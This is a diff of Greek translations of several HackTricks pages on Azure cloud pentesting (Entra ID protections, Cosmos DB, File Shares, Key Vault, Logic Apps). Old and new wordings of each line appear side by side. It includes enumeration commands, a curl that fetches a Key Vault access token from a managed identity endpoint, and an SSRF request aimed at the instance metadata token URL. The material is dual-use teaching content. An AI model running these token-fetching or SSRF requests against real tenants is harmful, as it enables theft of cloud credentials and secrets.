- Μέγιστος χρόνος λήξης των επιλέξιμων εκχωρήσεων
- Πολλές άλλες ρυθμίσεις σχετικά με το πότε και ποιος θα στέλνει ειδοποιήσεις όταν συμβαίνουν συγκεκριμένες ενέργειες με αυτόν τον ρόλο
### Πολιτικές Conditional Access <a href="#title-text" id="title-text"></a>
@@ -938,16 +938,16 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
Η Προστασία Ταυτότητας Entra είναι μια υπηρεσία ασφαλείας που επιτρέπει να **ανιχνεύει πότε ένας χρήστης ή μια είσοδος είναι πολύ ριψοκίνδυνη** για να γίνει αποδεκτή, επιτρέποντας να **μπλοκάρει** τον χρήστη ή την προσπάθεια εισόδου.
Επιτρέπει στον διαχειριστή να το ρυθμίσει ώστε να **μπλοκάρει** τις προσπάθειες όταν ο κίνδυνος είναι "Χαμηλός και άνω", "Μέτριος και άνω" ή "Υψηλός". Αν και, από προεπιλογή είναι εντελώς **απενεργοποιημένο**:
Επιτρέπει στον διαχειριστή να το ρυθμίσει ώστε να **μπλοκάρει** τις προσπάθειες όταν ο κίνδυνος είναι "Χαμηλός και άνω", "Μεσαίος και άνω" ή "Υψηλός". Αν και, από προεπιλογή είναι εντελώς **απενεργοποιημένο**:
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Σήμερα συνιστάται να προστίθενται αυτούς τους περιορισμούς μέσω πολιτικών Conditional Access όπου είναι δυνατή η ρύθμιση των ίδιων επιλογών.
> Σήμερα συνιστάται να προστίθενται αυτού του είδους οι περιορισμοί μέσω πολιτικών Conditional Access όπου είναι δυνατή η ρύθμιση των ίδιων επιλογών.
### Προστασία Κωδικών Entra
Η Προστασία Κωδικών Entra ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) είναι μια λειτουργία ασφαλείας που **βοηθά στην αποτροπή της κακής χρήσης αδύναμων κωδικών κλειδιών κλειδώνοντας λογαριασμούς όταν συμβαίνουν πολλές αποτυχημένες προσπάθειες σύνδεσης**.\
Η Προστασία Κωδικών Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) είναι μια λειτουργία ασφαλείας που **βοηθά στην πρόληψη της κακής χρήσης αδύναμων κωδικών κλειδώνοντας λογαριασμούς όταν συμβαίνουν πολλές αποτυχημένες προσπάθειες σύνδεσης**.\
Επιτρέπει επίσης να **απαγορεύσετε μια προσαρμοσμένη λίστα κωδικών** που πρέπει να παρέχετε.
Μπορεί να **εφαρμοστεί τόσο** σε επίπεδο cloud όσο και σε τοπικό Active Directory.
@@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
## Azure CosmosDB
**Azure Cosmos DB** είναι μια πλήρως **διαχειριζόμενη NoSQL, σχεσιακή και διανυσματική βάση δεδομένων** που προσφέρει χρόνους απόκρισης σε χιλιοστά του δευτερολέπτου, αυτόματη κλιμάκωση και διαθεσιμότητα υποστηριζόμενη από SLA με ασφάλεια επιπέδου επιχείρησης. Διευκολύνει την ταχύτερη ανάπτυξη εφαρμογών μέσω έτοιμης διανομής δεδομένων σε πολλές περιοχές, ανοιχτών APIs, SDKs για δημοφιλείς γλώσσες και χαρακτηριστικά βάσεων δεδομένων AI όπως η ενσωματωμένη υποστήριξη διανυσμάτων και η απρόσκοπτη ενσωμάτωσή της με Azure AI.
**Azure Cosmos DB** είναι μια πλήρως **διαχειριζόμενη NoSQL, σχεσιακή και διανυσματική βάση δεδομένων** που προσφέρει χρόνους απόκρισης σε χιλιοστά του δευτερολέπτου, αυτόματη κλιμάκωση και διαθεσιμότητα υποστηριζόμενη από SLA με ασφάλεια επιπέδου επιχείρησης. Διευκολύνει την ταχύτερη ανάπτυξη εφαρμογών μέσω έτοιμης διανομής δεδομένων σε πολλές περιοχές, ανοιχτών API, SDK για δημοφιλείς γλώσσες και χαρακτηριστικών βάσεων δεδομένων AI όπως η ενσωματωμένη υποστήριξη διανυσμάτων και η απρόσκοπτη ενσωμάτωσή της με Azure AI.
Η Azure Cosmos DB παρέχει πολλαπλά APIs βάσεων δεδομένων για την μοντελοποίηση πραγματικών δεδομένων χρησιμοποιώντας έγγραφα, σχεσιακά, key-value, γραφήματα και μοντέλα δεδομένων column-family, με αυτά τα APIs να είναι NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin και Table.
Η Azure Cosmos DB παρέχει πολλαπλά API βάσεων δεδομένων για την μοντελοποίηση πραγματικών δεδομένων χρησιμοποιώντας έγγραφα, σχεσιακά, key-value, γραφήματα και μοντέλα δεδομένων column-family, με αυτά τα API να είναι NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin και Table.
Ένας βασικός τομέας του CosmosDB είναι ο Azure Cosmos Account. **Azure Cosmos Account**, λειτουργεί ως σημείο εισόδου στις βάσεις δεδομένων. Ο λογαριασμός καθορίζει βασικές ρυθμίσεις όπως η παγκόσμια διανομή, τα επίπεδα συνέπειας και το συγκεκριμένο API που θα χρησιμοποιηθεί, όπως το NoSQL. Μέσω του λογαριασμού, μπορείτε να ρυθμίσετε την παγκόσμια αναπαραγωγή για να διασφαλίσετε ότι τα δεδομένα είναι διαθέσιμα σε πολλές περιοχές για γρήγορη πρόσβαση. Επιπλέον, μπορείτε να επιλέξετε ένα επίπεδο συνέπειας που ισορροπεί μεταξύ απόδοσης και ακρίβειας δεδομένων, με επιλογές που κυμαίνονται από Strong έως Eventual consistency.
@@ -36,9 +36,9 @@ https://<Account-Name>.documents.azure.com:443/
Μέσα σε έναν λογαριασμό, μπορείτε να δημιουργήσετε μία ή περισσότερες βάσεις δεδομένων, οι οποίες λειτουργούν ως λογικές ομάδες κοντέινερ. Μια βάση δεδομένων λειτουργεί ως όριο για τη διαχείριση πόρων και τα δικαιώματα χρηστών. Οι βάσεις δεδομένων μπορούν είτε να μοιράζονται την παρεχόμενη απόδοση σε όλα τα κοντέινερ τους είτε να εκχωρούν αποκλειστική απόδοση σε μεμονωμένα κοντέινερ.
#### Κοντέινερ
Η βασική μονάδα αποθήκευσης δεδομένων είναι το κοντέινερ, το οποίο περιέχει έγγραφα JSON και είναι αυτόματα ευρετηριασμένο για αποδοτική αναζήτηση. Τα κοντέινερ είναι ελαστικά κλιμακούμενα και κατανεμημένα σε κατατμήσεις, οι οποίες καθορίζονται από ένα κλειδί κατατμήσεων που ορίζει ο χρήστης. Το κλειδί κατατμήσεων είναι κρίσιμο για την εξασφάλιση βέλτιστης απόδοσης και ομοιόμορφης κατανομής δεδομένων. Για παράδειγμα, ένα κοντέινερ μπορεί να αποθηκεύει δεδομένα πελατών, με το "customerId" ως το κλειδί κατατμήσεων.
Η βασική μονάδα αποθήκευσης δεδομένων είναι το κοντέινερ, το οποίο περιέχει έγγραφα JSON και είναι αυτόματα ευρετηριασμένο για αποδοτική αναζήτηση. Τα κοντέινερ είναι ελαστικά κλιμακούμενα και κατανεμημένα σε κατανομές, οι οποίες καθορίζονται από ένα κλειδί κατανομής που ορίζει ο χρήστης. Το κλειδί κατανομής είναι κρίσιμο για την εξασφάλιση βέλτιστης απόδοσης και ομοιόμορφης κατανομής δεδομένων. Για παράδειγμα, ένα κοντέινερ μπορεί να αποθηκεύει δεδομένα πελατών, με το "customerId" ως το κλειδί κατανομής.
#### Αρίθμηση
#### Αριθμητική
{% tabs %}
{% tab title="az cli" %}
@@ -83,7 +83,7 @@ az cosmosdb sql user-defined-function list --account-name <AccountName> --contai
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.CosmosD
# List all Cosmos DB accounts in a specified resource group.
@@ -173,7 +173,7 @@ print(item)
```
{% endcode %}
Ένας άλλος τρόπος για να καθιερώσετε μια σύνδεση είναι να χρησιμοποιήσετε το **DefaultAzureCredential()**. Απλώς χρειάζεται να συνδεθείτε (az login) με τον λογαριασμό που έχει τις άδειες και να το εκτελέσετε. Για αυτή την περίπτωση, πρέπει να γίνει μια ανάθεση ρόλου, δίνοντας τις απαραίτητες άδειες (δείτε για περισσότερα)
Ένας άλλος τρόπος για να καθορίσετε μια σύνδεση είναι να χρησιμοποιήσετε το **DefaultAzureCredential()**. Απλώς χρειάζεται να συνδεθείτε (az login) με τον λογαριασμό που έχει τις άδειες και να το εκτελέσετε. Για αυτή την περίπτωση, πρέπει να γίνει μια ανάθεση ρόλου, δίνοντας τις απαραίτητες άδειες (βλ. για περισσότερα)
{% code overflow="wrap" %}
```python
@@ -212,7 +212,7 @@ mongodb://<hostname>:<port>/<database>
{% endcode %}
#### Βάσεις Δεδομένων
Στο MongoDB, μπορείτε να δημιουργήσετε μία ή περισσότερες βάσεις δεδομένων εντός μιας παρουσίας. Κάθε βάση δεδομένων λειτουργεί ως λογική ομαδοποίηση συλλογών και παρέχει ένα όριο για την οργάνωση και διαχείριση πόρων. Οι βάσεις δεδομένων βοηθούν στη λογική διαχωριστική και διαχείριση δεδομένων, όπως για διαφορετικές εφαρμογές ή έργα.
Στο MongoDB, μπορείτε να δημιουργήσετε μία ή περισσότερες βάσεις δεδομένων μέσα σε μια παρουσία. Κάθε βάση δεδομένων λειτουργεί ως λογική ομαδοποίηση συλλογών και παρέχει ένα όριο για την οργάνωση και διαχείριση πόρων. Οι βάσεις δεδομένων βοηθούν στη λογική διαχωριστική και διαχείριση δεδομένων, όπως για διαφορετικές εφαρμογές ή έργα.
#### Συλλογές
Η βασική μονάδα αποθήκευσης δεδομένων στο MongoDB είναι η συλλογή, η οποία περιέχει έγγραφα και έχει σχεδιαστεί για αποδοτική αναζήτηση και ευέλικτο σχεδιασμό σχήματος. Οι συλλογές είναι ελαστικά κλιμακούμενες και μπορούν να υποστηρίξουν λειτουργίες υψηλής απόδοσης σε πολλαπλούς κόμβους σε μια κατανεμημένη ρύθμιση.
@@ -243,7 +243,7 @@ az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountNa
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.CosmosDB
# List all Cosmos DB accounts in a specified resource group.
@@ -323,7 +323,7 @@ print(f"Inserted document with ID: {result.inserted_id}")
* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
## Ανύψωση Προνομίων
## Ανύψωση Δικαιωμάτων
{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %}
[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md)
@@ -338,7 +338,7 @@ print(f"Inserted document with ID: {result.inserted_id}")
## ToDo
* Η υπόλοιπη DB εδώ, πίνακες, cassandra, gremlin...
* Ρίξτε μια ματιά στην εκμετάλλευση "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" και τους ορισμούς ρόλων γιατί εδώ μπορεί να υπάρχει ανύψωση προνομίων
* Ρίξτε μια ματιά στην εκμετάλλευση "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" και τους ορισμούς ρόλων γιατί εδώ μπορεί να υπάρχει privesc
* Ρίξτε μια ματιά στις αποκαταστάσεις
{% hint style="success" %}
@@ -11,21 +11,21 @@
- **Transaction Optimized**: Βελτιστοποιημένο για λειτουργίες με πολλές συναλλαγές.
- **Hot**: Ισορροπημένο μεταξύ συναλλαγών και αποθήκευσης.
- **Cool**: Οικονομικό για αποθήκευση.
- **Premium:** Υψηλής απόδοσης αποθήκευση αρχείων βελτιστοποιημένη για φορτία εργασίας με χαμηλή καθυστέρηση και IOPS.
- **Premium:** Υψηλής απόδοσης αποθήκευση αρχείων βελτιστοποιημένη για φορτία εργασίας με χαμηλή καθυστέρηση και έντονη χρήση IOPS.
### Backups
- **Daily backup**: Ένα σημείο αντιγράφου ασφαλείας δημιουργείται κάθε μέρα σε μια καθορισμένη ώρα (π.χ. 19.30 UTC) και αποθηκεύεται από 1 έως 200 ημέρες.
- **Weekly backup**: Ένα σημείο αντιγράφου ασφαλείας δημιουργείται κάθε εβδομάδα σε μια καθορισμένη ημέρα και ώρα (Κυριακή στις 19.30) και αποθηκεύεται από 1 έως 200 εβδομάδες.
- **Monthly backup**: Ένα σημείο αντιγράφου ασφαλείας δημιουργείται κάθε μήνα σε μια καθορισμένη ημέρα και ώρα (π.χ. πρώτη Κυριακή στις 19.30) και αποθηκεύεται από 1 έως 120 μήνες.
- **Yearly backup**: Ένα σημείο αντιγράφου ασφαλείας δημιουργείται κάθε χρόνο σε μια καθορισμένη ημέρα και ώρα (π.χ. πρώτη Κυριακή του Ιανουαρίου στις 19.30) και αποθηκεύεται από 1 έως 10 χρόνια.
- **Daily backup**: Ένα σημείο αντιγράφου ασφαλείας δημιουργείται κάθε μέρα σε μια καθορισμένη ώρα (π.χ. 19.30 UTC) και αποθηκεύεται για από 1 έως 200 ημέρες.
- **Weekly backup**: Ένα σημείο αντιγράφου ασφαλείας δημιουργείται κάθε εβδομάδα σε μια καθορισμένη ημέρα και ώρα (Κυριακή στις 19.30) και αποθηκεύεται για από 1 έως 200 εβδομάδες.
- **Monthly backup**: Ένα σημείο αντιγράφου ασφαλείας δημιουργείται κάθε μήνα σε μια καθορισμένη ημέρα και ώρα (π.χ. πρώτη Κυριακή στις 19.30) και αποθηκεύεται για από 1 έως 120 μήνες.
- **Yearly backup**: Ένα σημείο αντιγράφου ασφαλείας δημιουργείται κάθε χρόνο σε μια καθορισμένη ημέρα και ώρα (π.χ. πρώτη Κυριακή του Ιανουαρίου στις 19.30) και αποθηκεύεται για από 1 έως 10 χρόνια.
- Είναι επίσης δυνατή η εκτέλεση **χειροκίνητων αντιγράφων ασφαλείας και στιγμιότυπων οποιαδήποτε στιγμή**. Τα αντίγραφα ασφαλείας και τα στιγμιότυπα είναι στην πραγματικότητα τα ίδια σε αυτό το πλαίσιο.
### Supported Authentications via SMB
- **On-premises AD DS Authentication**: Χρησιμοποιεί τα διαπιστευτήρια Active Directory τοπικά συγχρονισμένα με το Microsoft Entra ID για πρόσβαση βάσει ταυτότητας. Απαιτεί συνδεσιμότητα δικτύου με το τοπικό AD DS.
- **Microsoft Entra Domain Services Authentication**: Εκμεταλλεύεται τις Υπηρεσίες Τομέα Microsoft Entra (cloud-based AD) για να παρέχει πρόσβαση χρησιμοποιώντας διαπιστευτήρια Microsoft Entra.
- **Microsoft Entra Kerberos for Hybrid Identities**: Επιτρέπει στους χρήστες Microsoft Entra να πιστοποιούν τις κοινές αποθήκες αρχείων Azure μέσω του διαδικτύου χρησιμοποιώντας Kerberos. Υποστηρίζει υβριδικές εικονικές μηχανές που είναι συνδεδεμένες με το Microsoft Entra ή Microsoft Entra χωρίς να απαιτεί συνδεσιμότητα με τοπικούς ελεγκτές τομέα. Αλλά δεν υποστηρίζει ταυτότητες μόνο στο cloud.
- **Microsoft Entra Kerberos for Hybrid Identities**: Επιτρέπει στους χρήστες Microsoft Entra να πιστοποιούν τις κοινές αποθήκες αρχείων Azure μέσω του διαδικτύου χρησιμοποιώντας Kerberos. Υποστηρίζει υβριδικές εικονικές μηχανές που είναι συνδεδεμένες με το Microsoft Entra ή Microsoft Entra χωρίς να απαιτεί συνδεσιμότητα με τοπικούς ελεγκτές τομέα. Αλλά δεν υποστηρίζει μόνο cloud ταυτότητες.
- **AD Kerberos Authentication for Linux Clients**: Επιτρέπει στους πελάτες Linux να χρησιμοποιούν Kerberos για την πιστοποίηση SMB μέσω τοπικού AD DS ή Υπηρεσιών Τομέα Microsoft Entra.
## Enumeration
@@ -56,7 +56,7 @@ az storage file download-batch -d . --account-name <name> --source <share-name>
{{#endtab}}
{{#tab name="Az PowerShell"}}
```powershell
```bash
Get-AzStorageAccount
# List File Shares
@@ -88,13 +88,13 @@ Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -Stor
### Σύνδεση
Αυτά είναι τα σενάρια που προτείνει το Azure κατά τη διάρκεια της συγγραφής για να συνδεθείτε σε ένα File Share:
Αυτά είναι τα σενάρια που προτείνονται από την Azure κατά τη διάρκεια της συγγραφής για να συνδεθείτε σε ένα File Share:
Πρέπει να αντικαταστήσετε τους χώρους `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` και `<FILE-SHARE-NAME>`.
{{#tabs}}
{{#tab name="Windows"}}
```powershell
```bash
$connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445
if ($connectTestResult.TcpTestSucceeded) {
# Save the password so the drive will persist on reboot
@@ -131,7 +131,7 @@ open smb://<STORAGE-ACCOUNT>:<ACCESS-KEY>@<STORAGE-ACCOUNT>.file.core.windows.ne
{{#endtab}}
{{#endtabs}}
### Κανονική αποθήκευση καταμέτρησης (κλειδιά πρόσβασης, SAS...)
### Κανονική καταμέτρηση αποθήκευσης (κλειδιά πρόσβασης, SAS...)
{{#ref}}
az-storage.md
@@ -4,7 +4,7 @@
## Basic Information
**Azure Key Vault** είναι μια υπηρεσία cloud που παρέχεται από το Microsoft Azure για την ασφαλή αποθήκευση και διαχείριση ευαίσθητων πληροφοριών όπως **μυστικά, κλειδιά, πιστοποιητικά και κωδικούς πρόσβασης**. Λειτουργεί ως κεντρικό αποθετήριο, προσφέροντας ασφαλή πρόσβαση και λεπτομερή έλεγχο χρησιμοποιώντας το Azure Active Directory (Azure AD). Από την άποψη της ασφάλειας, το Key Vault παρέχει **προστασία με υλικό ασφαλείας (HSM)** για κρυπτογραφικά κλειδιά, διασφαλίζει ότι τα μυστικά είναι κρυπτογραφημένα τόσο σε κατάσταση ηρεμίας όσο και σε μεταφορά, και προσφέρει ισχυρή διαχείριση πρόσβασης μέσω **ελέγχου πρόσβασης βάσει ρόλων (RBAC)** και πολιτικών. Διαθέτει επίσης **καταγραφή ελέγχου**, ενσωμάτωση με το Azure Monitor για παρακολούθηση πρόσβασης και αυτοματοποιημένη περιστροφή κλειδιών για μείωση του κινδύνου από παρατεταμένη έκθεση κλειδιών.
**Azure Key Vault** είναι μια υπηρεσία cloud που παρέχεται από το Microsoft Azure για την ασφαλή αποθήκευση και διαχείριση ευαίσθητων πληροφοριών όπως **μυστικά, κλειδιά, πιστοποιητικά και κωδικούς πρόσβασης**. Λειτουργεί ως κεντρικό αποθετήριο, προσφέροντας ασφαλή πρόσβαση και λεπτομερή έλεγχο χρησιμοποιώντας το Azure Active Directory (Azure AD). Από την άποψη της ασφάλειας, το Key Vault παρέχει **προστασία με υλικό ασφαλείας (HSM)** για κρυπτογραφικά κλειδιά, διασφαλίζει ότι τα μυστικά είναι κρυπτογραφημένα τόσο σε κατάσταση ηρεμίας όσο και σε μετάδοση, και προσφέρει ισχυρή διαχείριση πρόσβασης μέσω **ελέγχου πρόσβασης βάσει ρόλων (RBAC)** και πολιτικών. Διαθέτει επίσης **καταγραφή ελέγχου**, ενσωμάτωση με το Azure Monitor για παρακολούθηση πρόσβασης και αυτοματοποιημένη περιστροφή κλειδιών για μείωση του κινδύνου από παρατεταμένη έκθεση κλειδιών.
Δείτε [Azure Key Vault REST API overview](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) για πλήρεις λεπτομέρειες.
@@ -19,11 +19,11 @@
- `object-name` είναι το **μοναδικό** όνομα του αντικειμένου εντός του key vault
- `object-version` είναι αυτόματα παραγόμενο και χρησιμοποιείται προαιρετικά για να αναφέρεται σε μια **μοναδική έκδοση ενός αντικειμένου**.
Για να αποκτήσετε πρόσβαση στα μυστικά που αποθηκεύονται στο vault, είναι δυνατή η επιλογή μεταξύ 2 μοντέλων δικαιωμάτων κατά τη δημιουργία του vault:
Για να αποκτήσετε πρόσβαση στα μυστικά που αποθηκεύονται στο vault, είναι δυνατή η επιλογή μεταξύ 2 μοντέλων αδειών κατά τη δημιουργία του vault:
- **Πολιτική πρόσβασης Vault**
- **Azure RBAC** (το πιο κοινό και συνιστώμενο)
- Μπορείτε να βρείτε όλα τα λεπτομερή δικαιώματα που υποστηρίζονται στο [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault)
- Μπορείτε να βρείτε όλες τις λεπτομερείς άδειες που υποστηρίζονται στο [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault)
### Access Control <a href="#access-control" id="access-control"></a>
@@ -34,7 +34,7 @@
- Το **data plane**, του οποίου ο στόχος είναι **`<vault-name>.vault.azure.com`**.
- Χρησιμοποιείται για τη διαχείριση και την πρόσβαση στα **δεδομένα** (κλειδιά, μυστικά και πιστοποιητικά) **στο key vault**. Αυτό υποστηρίζει **πολιτικές πρόσβασης key vault** ή Azure **RBAC**.
Ένας ρόλος όπως ο **Contributor** που έχει δικαιώματα στο management plane για τη διαχείριση πολιτικών πρόσβασης μπορεί να αποκτήσει πρόσβαση στα μυστικά τροποποιώντας τις πολιτικές πρόσβασης.
Ένας ρόλος όπως ο **Contributor** που έχει άδειες στο management plane για τη διαχείριση πολιτικών πρόσβασης μπορεί να αποκτήσει πρόσβαση στα μυστικά τροποποιώντας τις πολιτικές πρόσβασης.
### Key Vault RBAC Built-In Roles <a href="#rbac-built-in-roles" id="rbac-built-in-roles"></a>
@@ -56,9 +56,9 @@ az keyvault show --name name-vault --query networkAcls
Όταν δημιουργείται ένα key vault, ο ελάχιστος αριθμός ημερών που επιτρέπεται για διαγραφή είναι 7. Αυτό σημαίνει ότι όποτε προσπαθείτε να διαγράψετε αυτό το key vault, θα χρειαστεί **τουλάχιστον 7 ημέρες για να διαγραφεί**.
Ωστόσο, είναι δυνατό να δημιουργηθεί ένα vault με **απενεργοποιημένη προστασία εκκαθάρισης**, η οποία επιτρέπει την εκκαθάριση του key vault και των αντικειμένων κατά τη διάρκεια της περιόδου διατήρησης. Αν και, μόλις αυτή η προστασία ενεργοποιηθεί για ένα vault, δεν μπορεί να απενεργοποιηθεί.
Ωστόσο, είναι δυνατό να δημιουργηθεί ένα vault με **απενεργοποιημένη την προστασία εκκαθάρισης**, η οποία επιτρέπει την εκκαθάριση του key vault και των αντικειμένων κατά τη διάρκεια της περιόδου διατήρησης. Αν και, μόλις αυτή η προστασία ενεργοποιηθεί για ένα vault, δεν μπορεί να απενεργοποιηθεί.
## Enumeration
## Απαρίθμηση
{{#tabs }}
{{#tab name="az" }}
@@ -92,7 +92,7 @@ az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<Key
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
# Get keyvault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
@@ -4,14 +4,14 @@
## Basic Information
Το Azure Logic Apps είναι μια υπηρεσία cloud που παρέχεται από το Microsoft Azure και επιτρέπει στους προγραμματιστές να **δημιουργούν και να εκτελούν ροές εργασίας που ενσωματώνουν διάφορες υπηρεσίες**, πηγές δεδομένων και εφαρμογές. Αυτές οι ροές εργασίας έχουν σχεδιαστεί για να **αυτοματοποιούν επιχειρηματικές διαδικασίες**, να οργανώνουν εργασίες και να εκτελούν ενσωματώσεις δεδομένων σε διάφορες πλατφόρμες.
Azure Logic Apps είναι μια υπηρεσία cloud που παρέχεται από το Microsoft Azure και επιτρέπει στους προγραμματιστές να **δημιουργούν και να εκτελούν ροές εργασίας που ενσωματώνουν διάφορες υπηρεσίες**, πηγές δεδομένων και εφαρμογές. Αυτές οι ροές εργασίας έχουν σχεδιαστεί για να **αυτοματοποιούν επιχειρηματικές διαδικασίες**, να οργανώνουν εργασίες και να εκτελούν ενσωματώσεις δεδομένων σε διάφορες πλατφόρμες.
Το Logic Apps παρέχει έναν οπτικό σχεδιαστή για τη δημιουργία ροών εργασίας με μια **ευρεία γκάμα προ-κατασκευασμένων συνδέσμων**, που διευκολύνει τη σύνδεση και την αλληλεπίδραση με διάφορες υπηρεσίες, όπως το Office 365, το Dynamics CRM, το Salesforce και πολλές άλλες. Μπορείτε επίσης να δημιουργήσετε προσαρμοσμένους συνδέσμους για τις συγκεκριμένες ανάγκες σας.
Logic Apps παρέχει έναν οπτικό σχεδιαστή για τη δημιουργία ροών εργασίας με μια **ευρεία γκάμα προ-κατασκευασμένων συνδέσμων**, που διευκολύνει τη σύνδεση και την αλληλεπίδραση με διάφορες υπηρεσίες, όπως το Office 365, το Dynamics CRM, το Salesforce και πολλές άλλες. Μπορείτε επίσης να δημιουργήσετε προσαρμοσμένους συνδέσμους για τις συγκεκριμένες ανάγκες σας.
### Examples
- **Αυτοματοποίηση Δεδομένων**: Το Logic Apps μπορεί να αυτοματοποιήσει **διαδικασίες μεταφοράς και μετασχηματισμού δεδομένων** σε συνδυασμό με το Azure Data Factory. Αυτό είναι χρήσιμο για τη δημιουργία κλιμακούμενων και αξιόπιστων ροών δεδομένων που μεταφέρουν και μετασχηματίζουν δεδομένα μεταξύ διαφόρων αποθηκευτικών χώρων δεδομένων, όπως η Azure SQL Database και η Azure Blob Storage, βοηθώντας σε αναλύσεις και επιχειρηματική ευφυΐα.
- **Ενσωμάτωση με Azure Functions**: Το Logic Apps μπορεί να λειτουργήσει παράλληλα με το Azure Functions για την ανάπτυξη **πολύπλοκων, εκδηλωτικών εφαρμογών που κλιμακώνονται κατά ανάγκη** και ενσωματώνονται απρόσκοπτα με άλλες υπηρεσίες Azure. Ένα παράδειγμα χρήσης είναι η χρήση ενός Logic App για την ενεργοποίηση μιας Azure Function σε απάντηση σε ορισμένα γεγονότα, όπως οι αλλαγές σε έναν λογαριασμό Azure Storage, επιτρέποντας τη δυναμική επεξεργασία δεδομένων.
- **Αυτοματοποίηση Δεδομένων**: Logic Apps μπορεί να αυτοματοποιήσει **τη διαδικασία μεταφοράς και μετασχηματισμού δεδομένων** σε συνδυασμό με το Azure Data Factory. Αυτό είναι χρήσιμο για τη δημιουργία κλιμακούμενων και αξιόπιστων ροών δεδομένων που μεταφέρουν και μετασχηματίζουν δεδομένα μεταξύ διαφόρων αποθηκευτικών χώρων δεδομένων, όπως το Azure SQL Database και το Azure Blob Storage, βοηθώντας σε αναλύσεις και επιχειρηματική ευφυΐα.
- **Ενσωμάτωση με Azure Functions**: Logic Apps μπορεί να λειτουργήσει παράλληλα με το Azure Functions για την ανάπτυξη **πολύπλοκων, εκδηλωτικών εφαρμογών που κλιμακώνονται όπως απαιτείται** και ενσωματώνονται απρόσκοπτα με άλλες υπηρεσίες Azure. Ένα παράδειγμα χρήσης είναι η χρήση ενός Logic App για την ενεργοποίηση μιας Azure Function σε απάντηση σε ορισμένα γεγονότα, όπως οι αλλαγές σε έναν λογαριασμό Azure Storage, επιτρέποντας τη δυναμική επεξεργασία δεδομένων.
### Visualize a LogicAPP
@@ -19,18 +19,18 @@
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
ή να ελέγξετε τον κώδικα στην ενότητα "**Προβολή κώδικα Logic app**".
ή να ελέγξετε τον κώδικα στην ενότητα "**Logic app code view**".
### SSRF Protection
Ακόμα και αν βρείτε το **Logic App ευάλωτο σε SSRF**, δεν θα μπορείτε να αποκτήσετε πρόσβαση στα διαπιστευτήρια από τα μεταδεδομένα, καθώς το Logic Apps δεν το επιτρέπει.
Ακόμα και αν βρείτε το **Logic App ευάλωτο σε SSRF**, δεν θα μπορείτε να αποκτήσετε πρόσβαση στα διαπιστευτήρια από τα μεταδεδομένα καθώς τα Logic Apps δεν το επιτρέπουν.
Για παράδειγμα, κάτι τέτοιο δεν θα επιστρέψει το token:
```bash
# The URL belongs to a Logic App vulenrable to SSRF
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
```
### Απαρίθμηση
### Enumeration
{{#tabs }}
{{#tab name="az cli" }}
@@ -47,7 +47,7 @@ az logic workflow identity show --name <LogicAppName> --resource-group <Resource
{{#endtab }}
{{#tab name="Az PowerSHell" }}
```powershell
```bash
# List
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
# Get info
@@ -1,16 +1,16 @@
# Az - MySQL Databases
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
